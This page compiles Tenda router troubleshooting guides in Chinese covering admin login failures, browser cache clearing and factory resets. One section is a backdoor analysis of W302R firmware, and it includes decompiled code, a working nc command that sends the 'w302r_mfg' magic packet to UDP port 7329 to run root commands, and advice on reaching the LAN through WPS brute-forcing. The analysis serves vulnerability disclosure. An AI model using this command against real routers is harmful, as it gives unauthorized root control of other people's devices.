tenda腾达路由器登录|腾达(Tenda)-路由器admin进不去管理界面,怎么办？
NO.1 腾达(Tenda)-路由器admin进不去管理界面,怎么办？
本文档适用于通过默认登录密码admin进不去设置页面的用户
适用型号：腾达路由器 问题分类：故障排除
出现这种情况可能存在两个原因：
1、浏览器的问题。(www.51jianli.com] 2、 路由器登录密码不是原始密码。
1. 打开浏览器点击“工具”菜单，选择“Internet选项”，如下图所示 :
2.打开“Internet选项”--点击“常规”-- “删除”--“删除浏览历史记录”--“确定”，如下图所示：
腾达路由器原始密码 腾达(Tenda)-路由器admin进不去管理界面,怎么办？
路由器登录密码修改过，不是原始密码，可将路由器复位后，重新以admin登陆。（www.51jianli.com)复位方法： 路由器上标识着WPS/RST的按钮，就是复位键。通电状态下，按下WPS/RST键10秒钟，SYS指示灯快速闪烁3次或熄灭后松开WPS/RST键，SYS灯重新闪亮即复位成功。
腾达路由器原始密码 腾达(Tenda)-路由器admin进不去管理界面,怎么办？
51阅读吧提醒您本文地址：
NO.2 腾达Tenda 路由器后门分析
一直有人认为D-Link是唯一的将在其产品中放置后门供应商，其实这里还有一个供应商也同样在产品中放置了后门，并且可以利用单个UDP数据包就搞定。她——就是腾达。
腾达W302R无线路由器的最新固件解压后，我开始寻找基于GoAheadWeb服务器指向的/bin/httpd，腾达做了很多特殊的修改：
进入HTTP接收回路前，调用产生MfgThread的功能作为一个单独的线程的线程主函数InitMfgTask。
Hmmm…InitMfgTask 和 MfgThread? 也许可能是manufacturing tasks(mfg有可能是MANUFACTURING的缩写，方便他们在研发过程中发生各种不能访问路由器管理功能时留下的维修接口，估计正式产品上市的时候忘记去掉了)
首先MfgThread(Mfg进程)创建UDP socket且绑定在7329端口上
然后线程进入一个recvfrom循环，从插座上阅读最多128字节。预计每一个接收到的UDP数据包，至少有14个字节的长度：
现在最有意思的部分，接收到的UDP数据包，然后解析这个代码块：
转C代码表示
memset(rx_magic_string, 0, 0x80); memset(command_byte, 0, 0x80); memset(command_arg, 0, 0x80); memcpy(rx_magic_string, rx_buf, 9); command_byte[0] = rx_buf[11]; memcpy(command_arg, rx_buf+12, rx_size-12); // If magic string doesn't match, stop processing this packet and wait for another packet if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;
我们可以看到，该线程被认为一个以下的数据结构包：
struct command_packet_t { char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte char command_byte; char command_arg[117]; };
只要接收到的数据包开始字符串“w302r_mfg”，代码然后比较三个ASCII字符指定的命令字节对(’1′，’X'，’E')：
为了方便，我已经转换剩余反汇编(至少重要位)后的C代码：
switch(command_byte) { case 'e': strcpy(tx_buf, "w302r_mfg"); tx_size = 9; break; case '1': if(strstr(command_arg, "iwpriv") != NULL) tx_size = call_shell(command_arg, tx_buf, 0x800); else strcpy(tx_buf, "000000"); tx_size = strlen(tx_buf); break; case 'x': tx_size = call_shell(command_arg, tx_buf, 0x800); break; default: goto outer_receive_loop; } sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16); goto outer_receive_loop;
以下操作对应的三个接受的命令字节：
'E'-响应与预先定义的字符串，通常是ping测试
'1' - 蓄意让用户运行iwpriv命令
'X'-允许你用root权限运行任何命令
如果被指定为’X'的命令字节命令字节后的数据包(称为在上述代码command_arg)，其余的被传递到call_shell通过POPEN，执行命令：
更重要的是，call_shell填充tx_buf的命令，我们可以看到，从以前的C代码，发送回客户端的输出缓冲区!
了解了MfgThread和其预期的数据包结构的功能，我们可以很容易用NC来执行这个后门：
$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0 media drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init -> bin/busybox drwxr-xr-x 2 0 0 3 home drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0 etc drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000 100 574 bin
一点，曾经如此重要的小细节只监听局域网上，对广域网无法利用监听。然而，如果是利用通过没有暴力速率限制默认情况下启用WPS的无线网络，我可以用ReaverPro盒爆破WPS还不是花很多时间，该盒子提供接入WLAN和随后的根路由器上的shell(他们还附带一个默认WPA密钥，你可能想先尝试)：
神奇的字符串表明，这个后门可能是首次实施腾达W302R路由器，腾达W330R也存在该后门，以及想MedialinkMWNWAPR150N这样重新定义品牌的模块如。他们都使用相同的“w302r_mfg”magic packet string (神奇的字符串包?)
NO.3 腾达(Tenda)-路由器admin进不去管理界面,怎么办？
本文档适用于通过默认登录密码admin进不去设置页面的用户
适用型号：腾达路由器 问题分类：故障排除
出现这种情况可能存在两个原因：
1、浏览器的问题。 2、 路由器登录密码不是原始密码。
1. 打开浏览器点击“工具”菜单，选择“Internet选项”，如下图所示 :
2.打开“Internet选项”--点击“常规”-- “删除”--“删除浏览历史记录”--“确定”，如下图所示：
路由器登录密码修改过，不是原始密码，可将路由器复位后，重新以admin登陆。复位方法： 路由器上标识着WPS/RST的按钮，就是复位键。通电状态下，按下WPS/RST键10秒钟，SYS指示灯快速闪烁3次或熄灭后松开WPS/RST键，SYS灯重新闪亮即复位成功。
NO.4 腾达 （Tenda）A301 路由器登陆设置界面无法登录问题解决方案
腾达 A301 路由器登陆设置界面无法登录问题解决方案
使用电脑无法登陆A301设置界面有两种情况：一种是：A301桥接前电脑无法登陆设置界面。另一种是: A301桥接后电脑无法登陆设置界面。
情况A：A301桥接前电脑无法登陆设置界面。
第一步：连接好线路
使用电脑接入的用户（请准备1根短网线）
将A301设备接入电源，使用网线一端连接上A301的lan口，另一端连接电脑的网口。如下图所示：
注意:A301接入电源与电脑连接后，指示灯状态为power灯常亮，lan口灯闪烁。
第二步：确定电脑是否获取到ip地址
一.将电脑上的本地连接IP地址设置为“自动获得IP地址”。
1.点击桌面右下角图标，打开“网路和共享中心”
2.点击“更改适配器配置”。
3.鼠标右击“本地连接”，选择“属性”。
4.双击“internet协议版本4（TCP/IPv4）”。
5.选择“自动获取IP地址”、“自动获取DNS地址”，最后点击“确定”
二．查看获取的IP地址
1. 点击桌面右下角的网络图标，打开“网络和共享中心”。
2.点击“更改适配器设置”。
3. 右键点击“本地连接”选择“状态”。
4. 点击“详细信息＂。
5．确定“IPv4＂的网关地址是“192.168.0.254”。
第三步：确定输入密码的正确性
1. 在浏览器中输入：192.168.0.254（或者输入re.tendacn.com） 按回车键，确定输入初始密码“admin”
A：输入IP地址：192.168.0.254情况。
B：输入域名“re.tendacn.com”情况
第四步：清除浏览器缓存或更换浏览器
1． 清除浏览器缓存，或者更换浏览器。
IE浏览器清除缓存请点此连接
情况B: A301桥接后电脑无法登陆设置界面。
A301设备中继好后，无法登陆设置界面从两个情况分析：
一、A301在上级路由器旁边；
二、A301远离上级路由器。
情况一：A301在上级路由器旁边
当A301在上级路由器旁边（建议小于2m范围时）。
1.使用电脑接入的用户（请准备1根短网线）。
将A301设备接入电源，使用网线一端连接上A301的lan口，另一端连接电脑的网口。如下图所示：
注意:A301接入电源与电脑连接后，指示灯状态为power灯常亮，lan口灯闪烁。
2. 在浏览器地址栏输入管理地址“”re.tendacn.com”并输入密码，进入管理界面。
情况二：A301已经远离上级路由器
建议当用户、A301远离上级路由器（建议距离大于2m时）：
1． 当A301的布点位置与上级路由器如下图时，可通过有线连接或者无线ssid连接网络，使用域名
“re.tendacn.com”登陆。
感谢阅读，希望能帮助到大家，谢谢大家对本站的支持！
NO.5 腾达（Tenda）AC9路由器无法登录如何解决？（图文教程）
腾达（Tenda）AC9路由器无法登录如何解决？
腾达A9采用11ac无线技术，无线传输速率最高可达1200Mbps（2.4GHz频段300Mbps+5Ghz频段867Mbps）。内置美国高通处理器，主频为900MHz，搭配128MB DDR3内存，大幅提高无线路由器数据处理能力。那么A9无法登录管理界面怎么办呢？
这里分两种情况，一种是：A9 扩展前无法登录管理界面。另一种是：A9 扩展后无法登录管理界面。
情况A：A9扩展前无法登录管理界面
扩展前只能通过连接扩展器A9的信号进界面；
第一步：确认电脑/手机连接的是A9的无线信号。（背面贴纸有写出厂默认无线信号名称）
第二步：确认电脑/手机是否获取到IP地址；
电脑以win7系统为例：
1. 点击桌面右下角图标，打开“网路和共享中心”
2. 点击“更改适配器设置”；
3. 鼠标右击“无线网络连接”，选择“状态”；
4. 选择“详细信息”，查看是否获取到IP地址；
若获取到192.168.0.*，IPV4默认网关是192.168.0.254，说明获取到正确IP；
若获取不到正确IP，可将信号断开重连，依然无效可将扩展器恢复出厂，再查看连接信号后获取的IP地址；
手机查看获取IP方法：
苹果手机/ipad：
安卓系统的手机：
第三步：确认地址栏地址输入输入正确（输入re.tenda.cn或者192.168.0.254）
第四步：若依然无法进入，可更换浏览器或者一个手机或者电脑通过re.tenda.cn或者192.168.0.254登录界面；
第五步：若第四步无效，可将扩展器复位
复位方法：通电状态下，使用针状物持续按住RST 按钮约8 秒后放开，指示灯将红色常亮，当指示灯变为红色闪烁时，将会清除用户对扩展器的所有设置，并恢复到出厂设置状态；
情况B：A9 扩展后无法登录管理界面
扩展后进A9界面有两个方法：
方法一：连接至A9的信号，通过域名re.tenda.cn；
方法二：连接至A9或者上级路由器信号，通过上级路由器分配给A9的IP，进入A9界面；
方法一：
第一步：确认连接的是扩展器A9的信号
① 若A9的SSID（无线信号名称）和上级保持一致：建议将扩展器放在上级信号弱位置，笔记本或手机在A9附近，连接信号较强的信号；
② 若A9的SSID（无线信号名称）和上级不一样，那么需确保笔记本或手机连接的是A9的信号名称；
第二步：确认笔记本或手机获取到上级路由器分配的IP
确认IPV4默认网关是否是上级路由器的网关地址，IPV4地址是否和网关同网段；
第三步：扩展后连接A9信号后，必须通过域名re.tenda.cn登录界面；
第四步：若无法登录，可将A9重新拔插电源，等自动扩展成功后，再通过域名登录；
第五步：若第四步无效，可更换一个笔记本或手机连接信号后登录。
方法二：
第一步：连接上WIFI信号（上级路由器或者A9扩展器的均可），登录主路由器管理界面；
第二步：打开路由器界面的客户端列表，查看当前已连接的客户端。在列表中找到和A9背面贴纸上MAC地址一致的设备，即可查看到路由器给A9分配的IP。
第三步：打开浏览器，在地址栏输入路由器分配给A9的IP，即可进入A9界面。
感谢阅读，希望能帮助到大家，谢谢大家对本站的支持！